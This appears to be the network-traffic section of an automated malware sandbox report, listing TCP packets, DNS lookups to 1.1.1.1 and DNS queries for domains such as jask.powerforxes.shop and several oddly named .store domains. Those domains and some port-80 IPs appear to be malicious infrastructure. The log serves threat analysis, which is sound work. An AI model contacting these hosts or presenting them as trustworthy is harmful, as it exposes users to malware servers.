Oct 6, 2024 22:33:49.026026011 CEST	443	50000	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.026462078 CEST	50000	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.026484966 CEST	443	50000	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.026989937 CEST	50000	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.026994944 CEST	443	50000	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.050149918 CEST	443	50001	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.051270962 CEST	50001	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.051322937 CEST	443	50001	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.052395105 CEST	50001	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.052412033 CEST	443	50001	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.098068953 CEST	443	49999	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.098090887 CEST	443	49999	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.098140955 CEST	443	49999	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.098153114 CEST	49999	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.098191023 CEST	49999	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.098562002 CEST	49999	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.098599911 CEST	443	49999	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.098625898 CEST	49999	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.098640919 CEST	443	49999	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.099251986 CEST	443	50002	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.100239992 CEST	50002	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.100275040 CEST	443	50002	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.100929022 CEST	50002	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.100939989 CEST	443	50002	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.107455969 CEST	50003	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.107475996 CEST	443	50003	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.107542038 CEST	50003	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.107700109 CEST	50003	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.107711077 CEST	443	50003	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.137351990 CEST	443	50000	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.137379885 CEST	443	50000	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.137406111 CEST	443	50000	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.137482882 CEST	50000	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.137491941 CEST	443	50000	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.137562037 CEST	50000	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.149729967 CEST	443	50001	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.149792910 CEST	443	50001	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.149904966 CEST	50001	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.149930000 CEST	443	50001	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.149961948 CEST	443	50001	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.150024891 CEST	50001	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.151031017 CEST	50001	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.151045084 CEST	443	50001	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.151058912 CEST	50001	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.151063919 CEST	443	50001	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.155955076 CEST	50004	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.155987024 CEST	443	50004	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.156064034 CEST	50004	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.157346010 CEST	50004	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.157361031 CEST	443	50004	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.207015991 CEST	443	50002	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.207075119 CEST	443	50002	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.207119942 CEST	443	50002	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.207148075 CEST	50002	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.207159996 CEST	443	50002	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.207189083 CEST	50002	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.207220078 CEST	50002	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.222187996 CEST	443	50000	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.222245932 CEST	443	50000	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.222274065 CEST	50000	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.222450018 CEST	50000	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.222450018 CEST	50000	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.222450018 CEST	50000	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.225836039 CEST	50005	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.225878954 CEST	443	50005	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.225949049 CEST	50005	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.226161003 CEST	50005	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.226176023 CEST	443	50005	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.293574095 CEST	443	50002	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.293625116 CEST	443	50002	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.293721914 CEST	50002	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.293737888 CEST	443	50002	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.293777943 CEST	50002	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.293860912 CEST	443	50002	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.293917894 CEST	50002	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.293977022 CEST	50002	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.293987989 CEST	443	50002	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.293997049 CEST	50002	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.294001102 CEST	443	50002	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.303304911 CEST	50006	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.303325891 CEST	443	50006	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.303396940 CEST	50006	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.307097912 CEST	50006	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.307111979 CEST	443	50006	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.525178909 CEST	50000	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.525188923 CEST	443	50000	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.604964972 CEST	443	49988	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.605588913 CEST	49988	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.605608940 CEST	443	49988	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.606308937 CEST	49988	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.606313944 CEST	443	49988	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.703707933 CEST	443	49988	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.703769922 CEST	443	49988	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.703862906 CEST	49988	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.703885078 CEST	443	49988	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.703917027 CEST	443	49988	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.703968048 CEST	49988	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.704042912 CEST	49988	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.704071045 CEST	443	49988	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.704082966 CEST	49988	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.704087973 CEST	443	49988	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.707496881 CEST	50007	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.707539082 CEST	443	50007	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.707632065 CEST	50007	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.707819939 CEST	50007	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.707838058 CEST	443	50007	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.777581930 CEST	443	50003	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.778094053 CEST	50003	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.778105974 CEST	443	50003	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.778770924 CEST	50003	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.778775930 CEST	443	50003	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.797274113 CEST	443	50004	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.797785997 CEST	50004	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.797799110 CEST	443	50004	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.798326015 CEST	50004	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.798331022 CEST	443	50004	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.882034063 CEST	443	50003	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.882059097 CEST	443	50003	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.882143974 CEST	50003	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.882177114 CEST	443	50003	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.882230043 CEST	50003	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.882281065 CEST	443	50003	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.882320881 CEST	443	50003	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.882360935 CEST	50003	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.882384062 CEST	50003	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.882400036 CEST	443	50003	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.882414103 CEST	50003	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.882421017 CEST	443	50003	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.886042118 CEST	50008	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.886076927 CEST	443	50008	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.886152983 CEST	50008	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.886358023 CEST	50008	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.886369944 CEST	443	50008	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.895534039 CEST	443	50004	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.895596981 CEST	443	50004	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.895653009 CEST	50004	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.895662069 CEST	443	50004	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.895718098 CEST	443	50004	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.895767927 CEST	50004	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.895967007 CEST	50004	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.895979881 CEST	443	50004	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.895988941 CEST	50004	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.895994902 CEST	443	50004	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.898858070 CEST	50009	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.898926973 CEST	443	50009	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.899034977 CEST	50009	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.899183989 CEST	50009	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.899190903 CEST	443	50005	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.899211884 CEST	443	50009	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.899555922 CEST	50005	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.899571896 CEST	443	50005	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.900113106 CEST	50005	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.900118113 CEST	443	50005	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.946536064 CEST	443	50006	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.947063923 CEST	50006	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.947072029 CEST	443	50006	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:49.947523117 CEST	50006	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:49.947526932 CEST	443	50006	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.004106998 CEST	443	50005	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.004558086 CEST	443	50005	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.004781961 CEST	50005	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.004782915 CEST	50005	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.004782915 CEST	50005	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.007106066 CEST	50010	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.007143021 CEST	443	50010	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.007236004 CEST	50010	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.007404089 CEST	50010	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.007431984 CEST	443	50010	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.045175076 CEST	443	50006	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.045320034 CEST	443	50006	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.045392036 CEST	50006	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.045485973 CEST	50006	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.045485973 CEST	50006	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.045500040 CEST	443	50006	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.045506001 CEST	443	50006	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.047997952 CEST	50011	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.048029900 CEST	443	50011	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.048089981 CEST	50011	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.048258066 CEST	50011	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.048269987 CEST	443	50011	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.306890965 CEST	50005	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.306912899 CEST	443	50005	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.387481928 CEST	443	50007	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.388174057 CEST	50007	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.388197899 CEST	443	50007	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.388550043 CEST	50007	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.388556957 CEST	443	50007	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.496782064 CEST	443	50007	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.496934891 CEST	443	50007	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.497060061 CEST	50007	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.497236967 CEST	50007	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.497250080 CEST	443	50007	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.497258902 CEST	50007	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.497263908 CEST	443	50007	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.499948025 CEST	50012	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.499974966 CEST	443	50012	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.500070095 CEST	50012	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.500194073 CEST	50012	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.500204086 CEST	443	50012	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.556035995 CEST	443	50009	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.556823015 CEST	50009	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.556842089 CEST	443	50009	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.557488918 CEST	50009	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.557495117 CEST	443	50009	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.559919119 CEST	443	50008	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.560328960 CEST	50008	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.560357094 CEST	443	50008	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.560724020 CEST	50008	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.560729027 CEST	443	50008	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.642554998 CEST	443	50010	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.642981052 CEST	50010	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.643012047 CEST	443	50010	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.643306017 CEST	50010	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.643311977 CEST	443	50010	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.654268026 CEST	443	50009	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.654335976 CEST	443	50009	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.654439926 CEST	443	50009	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.654536009 CEST	50009	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.654597044 CEST	50009	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.654613018 CEST	443	50009	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.654625893 CEST	50009	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.654632092 CEST	443	50009	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.657808065 CEST	50013	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.657845020 CEST	443	50013	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.657931089 CEST	50013	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.658139944 CEST	50013	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.658155918 CEST	443	50013	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.664990902 CEST	443	50008	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.665062904 CEST	443	50008	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.665206909 CEST	50008	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.665241003 CEST	50008	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.665252924 CEST	443	50008	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.665263891 CEST	50008	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.665268898 CEST	443	50008	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.716089964 CEST	443	50011	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.718808889 CEST	50011	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.718821049 CEST	443	50011	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.719121933 CEST	50011	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.719126940 CEST	443	50011	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.741072893 CEST	443	50010	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.741270065 CEST	443	50010	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.741404057 CEST	50010	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.741437912 CEST	50010	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.741445065 CEST	443	50010	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.741458893 CEST	50010	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.741463900 CEST	443	50010	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.819817066 CEST	443	50011	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.819982052 CEST	443	50011	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.820072889 CEST	50011	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.820142031 CEST	50011	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.820148945 CEST	443	50011	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:50.820158005 CEST	50011	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:50.820162058 CEST	443	50011	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:51.153318882 CEST	443	50012	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:51.153939962 CEST	50012	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:51.153966904 CEST	443	50012	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:51.154414892 CEST	50012	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:51.154422045 CEST	443	50012	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:51.254168987 CEST	443	50012	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:51.254360914 CEST	443	50012	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:51.254441977 CEST	50012	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:51.254626036 CEST	50012	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:51.254648924 CEST	443	50012	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:51.254674911 CEST	50012	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:51.254683018 CEST	443	50012	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:51.296284914 CEST	443	50013	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:51.296947002 CEST	50013	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:51.296963930 CEST	443	50013	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:51.297379017 CEST	50013	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:51.297386885 CEST	443	50013	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:51.394412994 CEST	443	50013	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:51.394563913 CEST	443	50013	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:51.394632101 CEST	50013	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:51.394726992 CEST	50013	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:51.394764900 CEST	443	50013	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:51.394793034 CEST	50013	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:51.394824982 CEST	443	50013	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:57.995256901 CEST	49859	80	192.168.2.4	45.132.206.251
Oct 6, 2024 22:34:01.487559080 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:34:01.489141941 CEST	49837	80	192.168.2.4	147.45.44.104

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 6, 2024 22:32:39.008455992 CEST	62352	53	192.168.2.4	1.1.1.1
Oct 6, 2024 22:32:39.994085073 CEST	62352	53	192.168.2.4	1.1.1.1
Oct 6, 2024 22:32:40.993886948 CEST	62352	53	192.168.2.4	1.1.1.1
Oct 6, 2024 22:32:42.993961096 CEST	62352	53	192.168.2.4	1.1.1.1
Oct 6, 2024 22:32:43.198672056 CEST	53	62352	1.1.1.1	192.168.2.4
Oct 6, 2024 22:33:23.115645885 CEST	51826	53	192.168.2.4	1.1.1.1
Oct 6, 2024 22:33:23.122966051 CEST	53	51826	1.1.1.1	192.168.2.4
Oct 6, 2024 22:33:24.647806883 CEST	49349	53	192.168.2.4	1.1.1.1
Oct 6, 2024 22:33:24.663593054 CEST	53	49349	1.1.1.1	192.168.2.4
Oct 6, 2024 22:33:24.666734934 CEST	51368	53	192.168.2.4	1.1.1.1
Oct 6, 2024 22:33:24.676049948 CEST	53	51368	1.1.1.1	192.168.2.4
Oct 6, 2024 22:33:24.678252935 CEST	61682	53	192.168.2.4	1.1.1.1
Oct 6, 2024 22:33:24.685584068 CEST	53	61682	1.1.1.1	192.168.2.4
Oct 6, 2024 22:33:24.686796904 CEST	51930	53	192.168.2.4	1.1.1.1
Oct 6, 2024 22:33:24.697139025 CEST	53	51930	1.1.1.1	192.168.2.4
Oct 6, 2024 22:33:24.699281931 CEST	53901	53	192.168.2.4	1.1.1.1
Oct 6, 2024 22:33:24.708699942 CEST	53	53901	1.1.1.1	192.168.2.4
Oct 6, 2024 22:33:24.710803032 CEST	63996	53	192.168.2.4	1.1.1.1
Oct 6, 2024 22:33:24.719753027 CEST	53	63996	1.1.1.1	192.168.2.4
Oct 6, 2024 22:33:24.723654032 CEST	56284	53	192.168.2.4	1.1.1.1
Oct 6, 2024 22:33:24.733750105 CEST	53	56284	1.1.1.1	192.168.2.4
Oct 6, 2024 22:33:24.735780954 CEST	63264	53	192.168.2.4	1.1.1.1
Oct 6, 2024 22:33:24.743324041 CEST	53	63264	1.1.1.1	192.168.2.4
Oct 6, 2024 22:33:24.745390892 CEST	59560	53	192.168.2.4	1.1.1.1
Oct 6, 2024 22:33:24.753288031 CEST	53	59560	1.1.1.1	192.168.2.4
Oct 6, 2024 22:33:25.928538084 CEST	62463	53	192.168.2.4	1.1.1.1
Oct 6, 2024 22:33:25.936691046 CEST	53	62463	1.1.1.1	192.168.2.4
Oct 6, 2024 22:33:26.054738998 CEST	51701	53	192.168.2.4	1.1.1.1
Oct 6, 2024 22:33:26.064493895 CEST	53	51701	1.1.1.1	192.168.2.4
Oct 6, 2024 22:33:46.557357073 CEST	60880	53	192.168.2.4	1.1.1.1
Oct 6, 2024 22:33:46.566385031 CEST	53	60880	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 6, 2024 22:32:39.008455992 CEST	192.168.2.4	1.1.1.1	0x73dd	Standard query (0)	proxy.johnmccrea.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:32:39.994085073 CEST	192.168.2.4	1.1.1.1	0x73dd	Standard query (0)	proxy.johnmccrea.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:32:40.993886948 CEST	192.168.2.4	1.1.1.1	0x73dd	Standard query (0)	proxy.johnmccrea.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:32:42.993961096 CEST	192.168.2.4	1.1.1.1	0x73dd	Standard query (0)	proxy.johnmccrea.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:33:23.115645885 CEST	192.168.2.4	1.1.1.1	0xc33f	Standard query (0)	jask.powerforxes.shop	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:33:24.647806883 CEST	192.168.2.4	1.1.1.1	0x931a	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:33:24.666734934 CEST	192.168.2.4	1.1.1.1	0xa58a	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:33:24.678252935 CEST	192.168.2.4	1.1.1.1	0xe745	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:33:24.686796904 CEST	192.168.2.4	1.1.1.1	0xb889	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:33:24.699281931 CEST	192.168.2.4	1.1.1.1	0x1493	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 6, 2024 22:33:24.710803032 CEST	192.168.2.4	1.1.1.1	0x58c6	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
